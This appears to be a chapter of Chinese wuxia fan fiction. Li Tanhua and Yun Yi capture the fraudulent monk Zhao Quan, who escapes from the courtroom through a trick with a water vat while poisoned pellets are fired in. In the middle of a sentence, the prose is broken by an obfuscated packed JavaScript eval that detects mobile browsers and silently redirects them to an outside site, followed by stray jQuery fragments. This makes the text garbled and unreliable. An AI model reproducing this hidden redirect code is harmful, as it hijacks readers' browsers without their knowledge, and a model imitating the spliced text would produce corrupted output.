*《醉菩提全传》第二十回来去明一笑归真感应佛千秋显圣,济公辞世颂 28.借尔一缸水 李探花拿住了人,脸上还笑嘻嘻的,向云翼说话。云翼虽然心中十足吃了一惊,也顺着他的意思,做出一个十拿九稳的样儿来,道: “且回衙说话。” 过来看热闹的僧人和香客,当下也已是在旁边围了一圈儿了,李探花便向大家要绳子,大家解裤带的也有,解行缠的也有,就是女眷,也有跃跃欲试之意。裹脚的布肯定是比这些都长。李探花沉了脸不肯接,他才不要碰这些腌臜东西,后来一个小沙弥跑了来,给他两捆绳子,似乎是柴房里使用的。他就低下头向小沙弥笑道: “小师傅,你学了些儿武艺不曾?” 那小沙弥听了不答,拿眼看着赵全的那位师兄,师兄叹了一声,转头走了,去报告本寺方丈,如今正在闭关。小沙弥方才放了心地答道: “他们原是不叫我学的,说是只有方丈大师嫡亲的弟子才学得。不过我日日看也看得了些。” “那就好了,”李探花道,“释门里原也分个宗派,可是呼吸吐纳的方法,却是一脉相承的,如此你的脚程一定极快的了。竟快些儿到知府衙门处去报个信,教吴大人派出个班头来接着才好。” 那小沙弥,偷偷地学武,为此挨打挨骂不知多少,第一次有人如此看重他,当即兴致勃勃地去了。那赵全一直挣扎个不休,原本这样草编的绳索是束缚不住他的,但被李探花捏在手里,他竟无处施为,知道今日是栽了,索性闭上眼睛,站在那一动不动。李探花道: “老师,你请上座。”把个赵全掼在驴儿背上,他的力气也甚大,摔得他几乎不曾闭住了气。这便牵了驴子,和云翼一起往下走。一路上是看热闹的人随着,两人也不去管他。是几个僧人恐怕事情闹大,于寺院的声誉有损,便将看客劝开了。 三人一驴,下来到了半山腰的僻静处,云翼道: “你又弄的些什么鬼,可以告诉我了吧?” 李探花笑道: “好心帮你破案,怎说人家是弄鬼?”便把事情告诉他。原来在下面街道上,云翼碰着那个古怪的醉酒少年的同时,李探花自己凭着高兴,跳到附近人家的屋檐上,就在众人的头顶上走,踩得瓦片格楞格楞响,他倒觉着好玩儿。此时此刻,极热闹的街市,灯火也都浮在脚下,人声也离得远了。飒飒的夜风,吹来抚弄他的头发。他心想:诗音在做什么呢?而后觉得后悔极了,他从来也没有问过诗音她的一天是怎么过的,只觉得后宫里起居的事,是他朝臣不该过问的。而后又笑了一下,想,我这样还可算个朝臣的么?而今想无可想,也不知什么时日能再相见。心中愁肠百结,很想喝酒。又走了一会儿,隐约听到了一阵哭声。 香积寺山门脚下的这个所在,一边是极热闹的街道,一边是挤挤挨挨,鳞次栉比的人家,夜晚多有点不起灯的,一片一片地漆黑,偶有一些光辉,也是更显凄凉。李探花的心情被这哭声牵动,循着找了过去,便见到一处宽阔的院子里,满当当地挤着人,一齐围着个抱孩子的妇人,和一个披发跣足的大和尚。哭的就是这妇人。一盏小小的油灯点着了放在地上,就是这院子里唯一的光源。 那大和尚将妇人扶起来,口里说道 “施主,你是有慈心的人,那西方弥勒,接引了你的孩儿去,心中也必欢喜。你的孩儿,竟不是糟蹋了一世死了,她受的苦,竟全是彼世的功德。你还是不要哭了,你的孩儿如今一定是在弥勒身边盼着你呢。” 那妇人哭哭啼啼地道: “我也随了她去算了。” 和尚说: “也不是这么说。离苦得乐,是修行正果。可是若是为避苦寻欢,那就不该了。施主万万不可动轻生的念头,反而该是一生一世,勤加修行,也给自己修成一个往极乐世界的正果才是。到了那时候,就可团圆了。” 妇人呜呜地哭着,伏下去吻那和尚的光脚,又把自己的钗环除下来,贡献给他,她是不富裕的,看看实在不足,又把孩儿身上戴的金锁也摘了下来,并且摸着死去的孩子的脸,哭得说不出话来,眼泪不停地落在她的脸上。那些信众,看了也是牵动心肠,纷纷拿出钱财来奉献,口呼上师。大和尚便又教给他们一句箴言,让他们早晚念诵。 李探花在屋檐上,邻人的一棵长得好高的大榆树,遮蔽了他的身形。他看着妇人哭泣,心中着实不忍,他从十岁丧了母亲,十六岁死了哥哥,十九岁,又别了父亲,对于生老病死别离事,不仅不曾放下,而且至今一想起来,就觉得锥心刺骨。因此深恨和尚,以妇人的拳拳爱子之心、百姓的淳淳恻隐之意,来骗取人家的信任和钱财。不过当下也并未发作,只暗记下此间方位,回去寻了云翼,想着上到香积寺来,一定可以问出这大和尚的来历。想不到,竟然就在这里碰见了。 云翼听了,心中不胜地慨叹,心想,这孩子到底是十分忠孝之辈,故而做事是有天运在身的。那赵全在驴子上听他说了一番,从鼻子里哼出一声。李探花扭头瞧了他一眼,那目光中,带有多么可怜的意味。他说: “老师,你不服么?难道小民无知,就该由着你骗?” 赵全根本不瞧他,闭着眼睛,双手拢在袖子里,其实在里面是被绳索捆上了。这是李探花为了保全他佛门的尊严,做出的一个样子,外人只见是个出家人盘腿坐在驴儿上,瞧不见他被绑着。后来才慢慢地说: “佛门广大,岂不容一个伤心的妇人么?” 他睁开眼睛。 “师兄,你想是个灵巧的人,你不懂。这个女人,十四岁被卖给商人做妾。商人和当官的勾结,犯法戍边去了,十几个妻妾是一哄而散,只有她跟着丈夫到边,丈夫在这里却又把她卖了,不是卖给一个人,是卖给十个二十个的人,日日卖夜夜卖,把女人的身子当成自己的本钱。好容易养下一个孩儿来,丈夫却喜又得了一份本钱。她不愿意女孩儿也受这份侮辱,逃又逃不开,就把女儿掐死了。” 李探花冷笑道: “这样委屈的事,人人瞧在眼里,都该替她做主,像老师不仅毫无恻隐之心,还要受她的钱财,贪她的供奉,是何道理!” 赵全静静地说,“我佛慈悲。” 李探花恼怒地瞪着他,看了一会儿,赌气扭过头不说话了。山道上如此寂静,只有两人一驴的脚步的声音。快要走到下面已经渐渐散去的街市之时,自下面呼啦啦来了一大帮人,明火执仗,前面打着官府的牌子,原来是吴知府得了信儿,连忙签了牌子,着人来迎。当下就是两班差人,闹哄哄地上来。为首的一个赵班头,见过了云翼,云翼道: “这就是匪首了,需要押回去仔细审问。” 赵班头应喏了,几个人七手八脚地过来拿人。赵全看上去已经完全放弃了挣扎,却在一个差官伸手扯过来时,飞起一脚,绳索应声而裂,这一脚却又狠狠地踢在他的胸口上,直踢得那人口喷鲜血,猛退几步,倒栽进荒草之中去了。当下是几人大惊失色,又从下面的荒草之中,漫山遍野,起来呼号之声,竟是从下面迎上来许多百姓,都是布衣之徒,但偏就是这样人,最是有他的一分力气。这些人原来方才是特意随着差官们的脚步走,知道这里有武功高强之辈,未免被他听出了行迹。此刻呼啦啦地拥上来,手里杂七杂八拿着扁担、锄头等物什,对着差官们胡乱打,这些衙门中的捕役,一头雾水,倒叫一帮乌合之众占了上风。他们是要来劫赵全的。 李探花本来似乎很不想再理那赵全分毫,此刻也是叹了口气,伸手将赵全轻轻一扯,就捉下驴儿来,一手捏住他的后颈,一手掐着他胳膊上的脉,道: “诸位不要轻举妄动,不然,这位老师的命,我是不担保的。” 大家都教他吓住了,不敢寸进。李探花这样带着赵全走了两步,目光环视四周,见到这帮人一个个是鹑衣百结、面黄肌瘦,且那个方才他在院中见过的贡献金锁的妇人,也在其中,咬牙切齿,握着拳头,恨恨地瞧着自己,两眼含着愤怒的泪水,闪闪发光。他一时之间,竟恍惚觉得是母亲站在那里。他今年十九岁了。十九岁的意思就是说,往后再多活一年,母亲离开他,就和陪伴他的年月一样长了。于是就叹了口气,将脸转开,对着那班头道: “赵老大,烦你将此人拿去。” 赵班头应了,看看周围,一时间还有些不敢凑手。但他是个识货的人,见李探花武艺高强,必然能屏退这帮乌合之众,便也大着胆子,提了赵全去。两班差官,将赵全团团围在里面。押送去了不提。等上了下面大路,那些人就一哄地散了。 赵全在囚里看管一夜,次日清早,云翼升堂,将他提了出来问话。这是一桩案子的了结,李探花便换了官服,佩上两把绣春刀,站在旁边,以示朝廷威严。倒把个吴知府吓了一跳。他是转不过这个弯儿来了,一心里只觉得这是林诗音,心想:小李探花的妹子,竟也是位女侠!竟也是替皇上办事的。我真该死。我前日里还说,小李探花不肯把他的妹子给皇上,这不是我见识浅么?小李探花自己都在锦衣卫办差,他怎么还能不舍得一个妹子? 李探花面如严霜,冷冰冰地瞧着下面。 赵全在牢里听说是打坐一夜,次日升堂,面色冲淡而毫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17009198|193873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无倦意。云翼要他把劫粮库的事一一招来,他说: “都是我一个人的事,和旁人没有关系。” 云翼冷笑道: “难道你一个人就能劫了偌大的府库!你一个人,两只胳膊,一趟能拾几根柴、能挑几担米!” 赵全道: “出家人不打诳语。我是凭了佛祖的愿力行事。佛祖准我移山,我就能移了府库里的粮山,救济天下百姓。” 云翼道: “救济天下百姓的事,恐怕轮不到出家人去说。你若有志于救济天下,你也不出家了。和尚,你自诩是得了善知识的,为何又逞弄邪术?” “这是天下信众们的大愿力、大功德,好比以水载舟,并非邪术。” 云翼实在不耐烦同他打这机锋,便要当庭写下供述,叫他画押。至于同党,把他监在这里,自然他们还要来救他,到那时再一一缉拿不难。于是又问当日情形,赵全对于自己的事,倒供认不讳。正说着,从外面一阵乱,走来一个僧人,在门槛外边站定。这正是前一天和赵全吵闹的那师兄,法号宗印,赵全是已被逐出门墙了的,不过他当日的法号是宗裁。宗印和尚在门前合十为礼,云翼准他进来,问: “和尚,你有甚么情要陈?” 宗印说: “贫僧是来为犯僧求个宽大。” “他犯下的事据实在此,要甚么宽大?” “大人,难道你不曾听见他说,什么佛祖愿力,什么移山填海……这样的事,实在是不可能的。常人只有两个膀子的力量。我这位师弟,也不过是个凡人罢了。他是个痴人,望老爷宽大为怀,且再复勘详实,就知道无论他自己嘴上怎么说,所谓的法术也是妄语。既是妄语,他招认的事情怎么能信呢?” 赵全冷笑道: “你不必在这里假慈悲,也不会增添了你的功德!反而你诋毁佛祖的大能,死后还要下拔舌地狱的。” 宗印和尚说: “莫再讲那些痴话,我是救你来的。” 赵全说: “你能救我,你能救千千万万贫苦人吗?你能像佛祖一样把他们度往西方极乐世界吗?既然不能,究竟是谁在说痴话?或者你竟也还有几分用处。老爷,借着我这位师兄,我便可演示一番那移山填海的大能。你信了,连你竟也离苦得乐,也未可知。” 云翼心中着实不信他说的什么法术,恐怕只是要趁这个机会,劫持人质逃亡。但是李探花俯下身来道: “老爷,不要紧,我有数。” 云翼道: “你要看变戏法儿,也不瞧瞧时候!公堂之上,岂由得他胡来。” 李探花道: “老爷,这僧人全靠了一手颠倒黑白的法术来愚弄百姓,我的意思,竟叫他演上一番,叫我看清了他的底细,才好慢慢地救百姓破除魔障。” 云翼一点头,准了。那赵全便站起身来,他身上还披枷带锁,铁链叮当。走过来一把抓住了宗印和尚,道: “师兄,你实无悟性,我竟不如送你回华阴老家去。” 宗印和尚身上是无武功的,被赵全制住,就是无从挣脱,便有些慌了。赵全扭着他,道: “老爷,还要借一缸水来用。” 云翼吩咐左右道: “给他。” 当下便有人拿了一个盆来,他说不好,再换五十斤的缸,他还说不好,终于换到二百斤的大陶缸来,添上水,赵全道: “好了,万事俱备,我这就送我这位师兄水遁回乡的了。” 宗印和尚不免有些畏惧。说:“你待怎地?”话音未落,竟教他一把摁进缸里。自然僧人是拼命地挣扎,但赵全的力量很大,挣脱不开。云翼又疑心他是死到临头还要拉个垫背的。然而赵全终于一掀宗印和尚的两腿,把他整个人塞进缸里去了。赵全便笑道: “好了。他去了。” 僧人当然还在缸里,怎会“去了”的?几个衙役也不免上前来看,只见宗印和尚的一件禅衣浮在水面。几人小心翼翼地伸手去勾,便是一眨眼间无人注意这赵全。他便纵起身来,就要往房梁上跳跃。李探花两步掠了过来,可是此时从外面不知什么地方嗖嗖打来数枚弹子,竟然是唐门的毒霰,从不同的方位直冲云翼的面门。李探花大惊之下,当然就要回身护着云翼,又怕挡开了毒霰要在堂上炸裂,岂不是要把一屋子人全给毒死,便用袖子将七枚弹子全数收拢了,咬牙靠案撑着,说: “不要追。追不着的,且免……”云翼说你也且免说这些呆话了吧!